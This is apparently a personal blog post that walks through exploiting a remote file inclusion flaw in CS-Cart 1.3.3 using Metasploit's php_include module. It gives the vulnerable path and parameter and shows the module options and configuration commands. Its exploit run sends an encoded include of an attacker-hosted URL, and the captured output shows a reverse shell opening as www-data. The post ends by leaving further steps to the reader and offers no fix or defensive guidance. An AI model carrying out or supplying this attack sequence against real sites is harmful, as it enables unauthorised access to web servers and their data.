PHP include exploitation with Metasploit

Metasploit support for PHP Include exploitation, or simply known as RFI (Remote File Inclusion). I will show you how this work on CS-Cart 1.3.3 which vulnerable to remote file inclusion.

The vulnerable path is at classes/phpmailer/class.cs_phpmailer.php?classes_dir=[include arbitrary php code]

so in Metasploit, the PHPURI PATH will be like this:


let see how this exploitation works.<!--more-->

msf > search php_include
 [*] Searching loaded modules for pattern 'php_include'...


Name                     Rank       Description
 ----                     ----       -----------
 unix/webapp/php_include  excellent  PHP Remote File Include Generic Exploit

msf exploit(php_include) > set payload php/reverse_php
 payload => php/reverse_php
 msf exploit(php_include) > show options

Module options:

Name        Current Setting                                                Required  Description
 ----        ---------------                                                --------  -----------
 PATH        /commerce                                                      yes       The base directory to prepend to the URL to try
 PHPRFIDB    /opt/metasploit3/msf3/data/exploits/php/rfi-locations.dat      no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
 PHPURI      classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX  no        The URI to request, with the include parameter changed to XXpathXX
 Proxies                                                                    no        Use a proxy chain
 RHOST                                                 yes       The target address
 RPORT       80                                                             yes       The target port
 SRVHOST                                                        yes       The local host to listen on.
 SRVPORT     8080                                                           yes       The local port to listen on.
 SSL         false                                                          no        Negotiate SSL for incoming connections
 SSLVersion  SSL3                                                           no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
 URIPATH                                                                    no        The URI to use for this exploit (default is random)
 VHOST                                                                      no        HTTP server virtual host

Payload options (php/reverse_php):

Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 LHOST                   yes       The local address
 LPORT  4444             yes       The local port

Exploit target:

Id  Name
 --  ----
 0   Automatic

msf exploit(php_include) >

Now we set all options.

msf exploit(php_include) > set PATH /commerce
 PATH => /commerce
 msf exploit(php_include) > set PHPURI /classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX
 PHPURI => /classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX
 msf exploit(php_include) > set RHOST

After all options meet requirement, let's launch the exploit.

msf exploit(php_include) > exploit

[*] Started reverse handler on
 [*] Using URL:
 [*]  Local IP:
 [*] PHP include server started.
 [*] Sending /commerce/classes/phpmailer/class.cs_phpmailer.php?classes_dir=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%2e%32%34%33%3a%38%30%38%30%2f%76%44%63%47%39%4c%3f
 [*] Command shell session 1 opened ( -> at 2010-05-21 11:36:45 +0700

 uid=33(www-data) gid=33(www-data) groups=33(www-data)

Next steps are yours 😉

2 thoughts on “PHP include exploitation with Metasploit

    1. Hi utkarsh, the /commerce came from my installation of the vulnerable CS-Cart 1.3.3. I made the CS-Cart root directory pointed to /var/www/commerce, that’s why it can be accessed to http://x.x.x.x/commerce. Hope this help answer your question.


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About Thomas Gregory

Jai Guru Deva. What the eyes see and the ears hear, the mind believes. Gamer. Free thinker. Pwning @Spentera !